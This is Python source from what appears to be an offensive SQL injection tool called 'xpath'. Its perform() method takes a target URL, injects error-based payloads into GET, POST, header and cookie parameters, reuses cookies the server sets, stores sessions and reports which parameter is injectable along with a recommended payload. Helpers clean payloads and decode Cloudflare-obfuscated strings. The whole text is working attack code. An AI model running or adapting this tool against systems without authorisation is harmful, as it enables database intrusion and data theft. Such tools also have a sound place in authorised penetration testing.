def clean_up_payload(payload, replaceable_string="0x72306f746833783439", replace_with="{banner}"): s = re.sub( r"(?is)(?:0x72306f746833783439|1337|CHAR\(49\)%2BCHAR\(51\)%2BCHAR\(51\)%2BCHAR\(55\))", replace_with, payload) return s
def cloudflare_decode(encoded_string): decoded = "" r = int(encoded_string[:2], 16) decoded = "".join([ chr(int(encoded_string[i:i + 2], 16) ^ r) for i in range(2, len(encoded_string), 2) ]) if decoded: decoded = re.sub(r"(?:(?:injected)?~(?:0|\()?(.+?)(?:1|~END)?)", r"\1", decoded) return decoded
def prettifier(cursor_or_list, field_names="", header=False): fields = [] Prettified = collections.namedtuple("Prettified", ["data", "entries"]) if field_names: fields = re.sub(" +", "", field_names).split(",") table = PrettyTable(field_names=[""] if not fields else fields) table.align = "l" table.header = header entries = 0 for d in cursor_or_list: if d and isinstance(d, str): d = (d, ) table.add_row(d) entries += 1 _temp = Prettified(data=table, entries=entries) return _temp
def search_regex( pattern, string, default=NO_DEFAULT, fatal=True, flags=0, group=None, ): """ Perform a regex search on the given string, using a single or a list of patterns returning the first matching group. In case of failure return a default value or raise a WARNING or a RegexNotFoundError, depending on fatal, specifying the field name. """ if isinstance(pattern, str): mobj = re.search(pattern, string, flags) else: for p in pattern: mobj = re.search(p, string, flags) if mobj: break if mobj: if group is None: # return the first matching group value = next(g for g in mobj.groups() if g is not None) else: value = mobj.group(group) value = re.sub(r"^\(+", "", value) if not value: value = "<blank_value>" value = value_cleanup(value) return value elif default is not NO_DEFAULT: return default elif fatal: logger.warning("unable to filter out values..") else: logger.warning("unable to filter out values..")
def value_cleanup(value): if value and "S3PR4T0R" in value: value = value.strip().split("S3PR4T0R") value = f'{len(value)}' return re.sub(r"\s+", " ", re.sub(r"\(+", "", value))
def _payload_for(self, payload, value_type): return re.sub( r"(?is)(?:\(schema_name\)|\(table_name\)|\(column_name\))", f"({value_type})", payload, )
def perform(self): vulns = [] Response = collections.namedtuple( "Response", [ "is_vulnerable", "dbms", "payloads", "filepath", "cookies", "headers", "injection_type", "injected_param", "session_filepath", "recommended_payload", "recommended_payload_type", ], ) attemps_counter = 0 session_data = [] tested_payloads = [] successful_payloads = [] is_resumed = False filepath = None target_info = self._parse_target() set_cookie = "" set_headers = "" try: logger.notice("testing connection to the target URL.") resp = request.perform( self.url, data=self.data, headers=self.headers, use_requests=False, connection_test=True, proxy=self._proxy, ) if "Set-Cookie" in list(resp.headers.keys()): set_cookie = (", ".join(resp.headers.get_all("Set-Cookie")) if hasattr(resp.headers, "get_all") else resp.headers.get("Set-Cookie")) set_cookie = re.sub(r"(?is)path=/", "", set_cookie) _show_slice = set_cookie.rstrip() if len(set_cookie) > 20: _show_slice = f"{set_cookie[0:14]}....{set_cookie[-10:-2]}" question = logger.read_input( f"you have not declared cookie(s), while server wants to set its own ('{_show_slice}'). Do you want to use those [Y/n] ", batch=self._batch, user_input="Y", ) if question in ["", "y"]: if "," in set_cookie: set_cookie = "".join([ i.strip().replace("path=/", "").strip() for i in set_cookie.split(",") ]) set_cookie = ";".join(set_cookie.split(";")) set_cookie = f"Cookie: {set_cookie}" if (not self.headers or self.headers and "cookie" not in self.headers.lower()): self.headers += set_cookie except Exception as error: logger.critical( "Xpath was not able to establish connection. try checking with -v set to 5." ) logger.error(error) sys.exit(0) payloads_list = prepare_payloads( prefixes=PREFIX, suffixes=SUFFIX, payloads=PAYLOADS, techniques=self._techniques, ) try: table_name = "tbl_payload" session_data = session.fetch_from_table( session_filepath=self._session_filepath, table_name=table_name, cursor=False, ) if session_data: is_resumed = True is_questioned = False for pay in session_data: vulns.append({ "injection_type": f"({pay.get('parameter')})", "attempts": pay.get("payload_attemps"), "payload": pay.get("payload"), "title": pay.get("payload_type"), "order": pay.get("payload_order"), "regex": pay.get("regex"), "injected_param": pay.get("param").replace("*", ""), "dbms": pay.get("dbms"), }) except Exception as error: pass if not target_info.params: logger.critical( "no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')." ) logger.end("ending") sys.exit(0) if not vulns: params = target_info.params injection_type = target_info.injection_type is_custom_injection = target_info.is_custom_injection end_detection_phase = False is_injected = False successful_payload_prefix = "" vulnerable_param = "" unknown_error_counter = 0 dbms = "" for entry in params: param = entry.get("key") param_value = entry.get("value") if is_custom_injection and not param_value.endswith("*"): continue sep = ": " if "header" in injection_type.lower() else "=" injectable_param = (f"{param}{sep}{param_value}" if param_value else f"{param}{sep}") resp = self.is_injectable( self.url, self.data, self.headers, param=param, injectable_param=injectable_param, injection_type=injection_type, ) if not dbms: dbms = resp.dbms is_injectable = resp.injectable logger.info( f"testing for SQL injection on {injection_type} parameter '{param if not is_custom_injection else '#1*'}'" ) next_param_test = False for entry in payloads_list: backend = entry.get("back_end") title = entry.get("title") if dbms and dbms.lower() != backend.lower(): logger.debug(f"Skipped '{title}'") continue regex = entry.get("regex") order = entry.get("order") payloads = entry.get("payloads") logger.info(f"testing '{title}'") index = 0 if successful_payload_prefix: payloads = [ pl for pl in payloads if pl.prefix == successful_payload_prefix ] while index < len(payloads): url = self.url data = self.data headers = self.headers obj = payloads[index] payload = obj.string prefix = obj.prefix suffix = obj.suffix logger.payload(payload) it = self._injection_type.upper() if "HEADER" in it or "COOKIE" in it: headers = prepare_injection_payload( text=self.headers, payload=payload, param=injectable_param, unknown_error_counter=unknown_error_counter, ) if "GET" in it: url = prepare_injection_payload( text=self.url, payload=payload, param=injectable_param, unknown_error_counter=unknown_error_counter, ) if "POST" in it: data = prepare_injection_payload( text=self.data, payload=payload, param=injectable_param, unknown_error_counter=unknown_error_counter, ) try: if not is_injected: attemps_counter += 1 response = request.inject_payload( url=url, regex=REGEX_TESTS, data=data, headers=headers, use_requests=self._use_requests, proxy=self._proxy, ) except KeyboardInterrupt as e: question = logger.read_input( "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(q)uit] " ) if question and question == "e": end_detection_phase = True break if question and question == "s": break if question and question == "n": next_param_test = True break if question and question.lower() == "q": logger.error("user quit") logger.end("ending") sys.exit(0) except Exception as e: unknown_error_counter += 1 else: if response.ok: is_injected = True successful_payload_prefix = prefix _ = session.generate( session_filepath=self._session_filepath) with open(self._target_file, "w") as fd: fd.write( f"{self.url} ({'GET' if 'cookie' in injection_type.lower() else injection_type}) # {' '.join(sys.argv)}" ) if param: message = f"{injection_type} parameter '{DIM}{white}{param}{BRIGHT}{black}' is '{DIM}{white}{title}{BRIGHT}{black}' injectable" else: message = f"{injection_type} parameter is '{DIM}{white}{title}{BRIGHT}{black}' injectable" logger.notice(message) vulns.append({ "injection_type": f"({injection_type})", "attempts": attemps_counter, "payload": payload, "title": title, "order": order, "regex": regex, "injected_param": injectable_param.replace("*", ""), "dbms": dbms, }) _ = session.dump( session_filepath=self._session_filepath, query=PAYLOAD_STATEMENT, values=( str(title), order, attemps_counter, payload, injection_type, regex, "test", injectable_param, dbms, ), ) vulnerable_param = param break index += 1 if end_detection_phase or next_param_test: break if not is_injected: _param = f"{DIM}{white}'{param}'{BRIGHT}{black}" logger.notice( f"{injection_type} parameter {_param} does not seem to be injectable" ) if end_detection_phase: if not is_injected: logger.critical( "all tested parameters do not appear to be injectable" ) break if is_injected and not next_param_test: if vulnerable_param: message = f"{injection_type} parameter '{vulnerable_param}' is vulnerable. Do you want to keep testing the others (if any)? [y/N] " else: message = f"{injection_type} parameter is vulnerable. Do you want to keep testing the others (if any)? [y/N] " question = logger.read_input(message, batch=self._batch, user_input="N") if question and question == "n": break else: logger.debug( "skipping tests as we already have injected the target..") if vulns and isinstance(vulns, list): vulns = sorted( vulns, key=lambda k: k.get("order") if k.get("order") else k.get("payload_order"), reverse=True, ) dbms = vulns[0].get("dbms") injection_type = vulns[0].get("injection_type") injected_param = vulns[0].get("injected_param") recommended_payload = vulns[0].get("payload") recommended_payload = clean_up_payload( payload=recommended_payload, replaceable_string="0x72306f746833783439") recommended_payload_type = vulns[0].get("regex") param = injected_param if not param and self.headers: params = extract_params(self.headers, injection_type=injection_type) payload = prepare_injection_payload(self.headers, recommended_payload, param="").replace( "%20", " ") param = "" for p in params: sep = ": " if "header" in injection_type.lower() else "=" _param = f"{p.get('key')}{sep}{p.get('value').replace('*', '')}" _ = f"{_param}{recommended_payload}" if _ in payload.strip(): param = _param break if not is_resumed: message = f"xpath identified the following injection point(s) with a total of {attemps_counter} HTTP(s) requests:" if is_resumed: message = "xpath resumed the following injection point(s) from stored session:" logger.success(message) if param: sep = ":" if "header" in injection_type.lower() else "=" _param = param.split(sep)[0] if sep in param else param injection_type = f"{_param} {injection_type}" logger.success(f"---\nParameter: {injection_type}") text = " Type: error-based\n Title: {title}\n Payload: {_payload}" ok = [] for v in vulns: title = v.get("title").strip() pl = v.get("payload").strip() if pl[0].lower() in ["a", "o"]: pl = f" {pl}" if param and "HEADER" not in injection_type.upper(): pl = f"{param}{pl}" ok.append(text.format(title=title, _payload=pl)) logger.success("\n\n".join(ok)) logger.success("---") resp = Response( is_vulnerable=True, payloads=vulns, dbms=dbms, filepath=self._filepath, cookies=set_cookie, headers=set_headers, injected_param=injected_param, injection_type=self._injection_type, session_filepath=self._session_filepath, recommended_payload=recommended_payload, recommended_payload_type=recommended_payload_type, ) else: resp = Response( is_vulnerable=False, dbms=dbms, payloads=vulns, filepath=None, cookies=set_cookie, headers=set_headers, injected_param=None, session_filepath=None, injection_type=None, recommended_payload=None, recommended_payload_type=None, ) return resp
def _clean_up_cols(self, columns): return re.sub(" +", "", columns).split(",")